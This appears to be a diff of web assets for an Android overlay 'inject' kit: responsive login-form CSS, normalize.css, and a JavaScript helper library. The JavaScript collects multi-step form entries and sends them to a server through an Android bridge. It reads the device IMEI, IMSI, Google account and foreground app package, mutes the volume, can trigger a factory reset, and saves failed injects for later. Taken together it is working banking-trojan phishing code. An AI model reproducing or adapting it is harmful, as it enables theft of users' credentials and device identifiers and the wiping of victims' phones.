.main_input {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_inpute {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_inpute {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_inpute {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
|
||||
@media screen and (max-height: 360px){
|
||||
.form_header {
|
||||
padding: 5px;
|
||||
height: 60px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.container {padding-top:50px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.login_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
}
|
||||
@media screen and (max-width: 200px) and (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 20px;
|
||||
}
|
||||
.container {padding-top:24px;}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 2px;
|
||||
}
|
||||
.main_input{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 3px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 4px;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.login_btn{
|
||||
font-size: 10px;
|
||||
height: 19px;
|
||||
line-height: 10px;
|
||||
width: 70px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 6.1 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,216 @@
|
||||
|
||||
.container {
|
||||
overflow: hidden;
|
||||
}
|
||||
.row {
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_04{
|
||||
background: #FFFFFF;
|
||||
}
|
||||
.form_header {
|
||||
background: #FFFFFF;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
width:100%;
|
||||
top:0;
|
||||
left:0;
|
||||
padding: 5px;
|
||||
border-bottom: solid 1px #000;
|
||||
}
|
||||
.container {padding-top:86px;}
|
||||
.form_header:after{
|
||||
display: none;
|
||||
position: absolute;
|
||||
bottom: -17px;
|
||||
z-index: -1;
|
||||
left: 50%;
|
||||
margin-left: -204px;
|
||||
max-width: 100%;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #545353;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 200px;
|
||||
height: 23px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.main_inpute{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 150px;
|
||||
height: 20px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 15px;
|
||||
width: 20%;
|
||||
}
|
||||
.input_block_wr {
|
||||
overflow: hidden;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.login_btn {
|
||||
width: 123px;
|
||||
height: 44px;
|
||||
background-color: #248E59;
|
||||
|
||||
|
||||
border: none;
|
||||
outline:none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
.content{
|
||||
padding: 15px 10px;
|
||||
background-color:#F0F0F0;
|
||||
|
||||
border: 1px solid #D3D3D3;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
|
||||
|
||||
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_input {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_input {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_input {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_inpute {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_inpute {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_inpute {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
|
||||
@media screen and (max-height: 360px){
|
||||
.form_header {
|
||||
padding: 5px;
|
||||
height: 50px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.container {padding-top:50px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.login_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
}
|
||||
@media screen and (max-width: 200px) and (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 20px;
|
||||
}
|
||||
.container {padding-top:24px;}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 2px;
|
||||
}
|
||||
.main_input{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 3px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 4px;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.login_btn{
|
||||
font-size: 10px;
|
||||
height: 19px;
|
||||
line-height: 10px;
|
||||
width: 70px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
